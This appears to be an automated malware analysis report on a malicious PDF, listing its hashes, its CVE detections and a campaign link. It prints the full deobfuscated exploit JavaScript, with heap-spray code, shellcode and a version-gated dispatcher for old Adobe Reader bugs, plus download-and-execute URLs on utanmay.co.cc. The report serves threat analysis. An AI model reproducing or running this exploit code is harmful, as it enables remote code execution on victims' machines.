Malicious PDF — malware analysis report

Static analysis result for SHA-256 2957a16e803363d2…

MALICIOUS

PDF

3.5 KB First seen: 2026-05-10
MD5: 6ea795f89149eef9852f3ceee3435ae6 SHA-1: 3cc35c7a6aa02c2cc2caaea8f0e0b01b722c7489 SHA-256: 2957a16e803363d2d19f41ea78cab31f9321eb42ab1de4669fe3065a166254ac
538 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF document contains embedded JavaScript that utilizes multiple known exploits (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659). The JavaScript employs obfuscation techniques including eval() and unescape(), and uses String.fromCharCode to construct its payload. The primary intent appears to be the exploitation of these vulnerabilities to achieve arbitrary code execution within the PDF reader. No specific malware family could be confidently identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://utanmay.co.cc/a/l.php?i=4 Referenced by PDF JavaScript
    • http://utanmay.co.cc/a/l.php?i=5Referenced by PDF JavaScript
    • http://utanmay.co.cc/a/l.php?i=6Referenced by PDF JavaScript
    • http://utanmay.co.cc/a/l.php?i=16Referenced by PDF JavaScript
🗂 Part of campaign: co.cc 3 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0xCE0 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 5125 bytes
SHA-256: 8d86d33a48c81e160d34ee7d1e5292a5ac07b4f7d6877413a93903317f8a13f1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var skd='%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070';var skd1=skd+'%u7468%u7074%u2F3A%u752F%u6174%u6D6E%u7961%u632E%u2E6F%u6363%u612F%u6C2F%u702E%u7068%u693F%u343D%u9000';var skd2=skd+'%u7468%u7074%u2F3A%u752F%u6174%u6D6E%u7961%u632E%u2E6F%u6363%u612F%u6C2F%u702E%u7068%u693F%u353D%u9000';var skd3=skd+'%u7468%u7074%u2F3A%u752F%u6174%u6D6E%u7961%u632E%u2E6F%u6363%u612F%u6C2F%u702E%u7068%u693F%u363D%u9000';var skd4=skd+'%u7468%u7074%u2F3A%u752F%u6174%u6D6E%u7961%u632E%u2E6F%u6363%u612F%u6C2F%u702E%u7068%u693F%u313D%u0036%u9000';function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}function collab(){var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape(skd1);var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape("%u0c0c%u0c0c");while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:"", msg:overflow});}function printf(){nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape(skd2);heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);}function geticon(){var arry = new Array();if (app.doc.Collab.getIcon){var payload = unescape(skd3);var hWq500CN = payload.length * 2;var len = 0x400000 - (hWq500CN + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){arry[vqcQD96y] = yarsp + payload;}var tUMhNbGw = unescape("	");while (tUMhNbGw.length < 0x4000){tUMhNbGw += tUMhNbGw;}tUMhNbGw = "N." + tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}aPlugins = app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < aPlugins.length; i++){if (aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}if ((sv==8)&&(lv<=8.12)){geticon();}else if (lv==7.1){printf();}else if (((sv==6)||(sv==7))&&(lv<7.11)){collab();}else{function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape(skd4);while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}}

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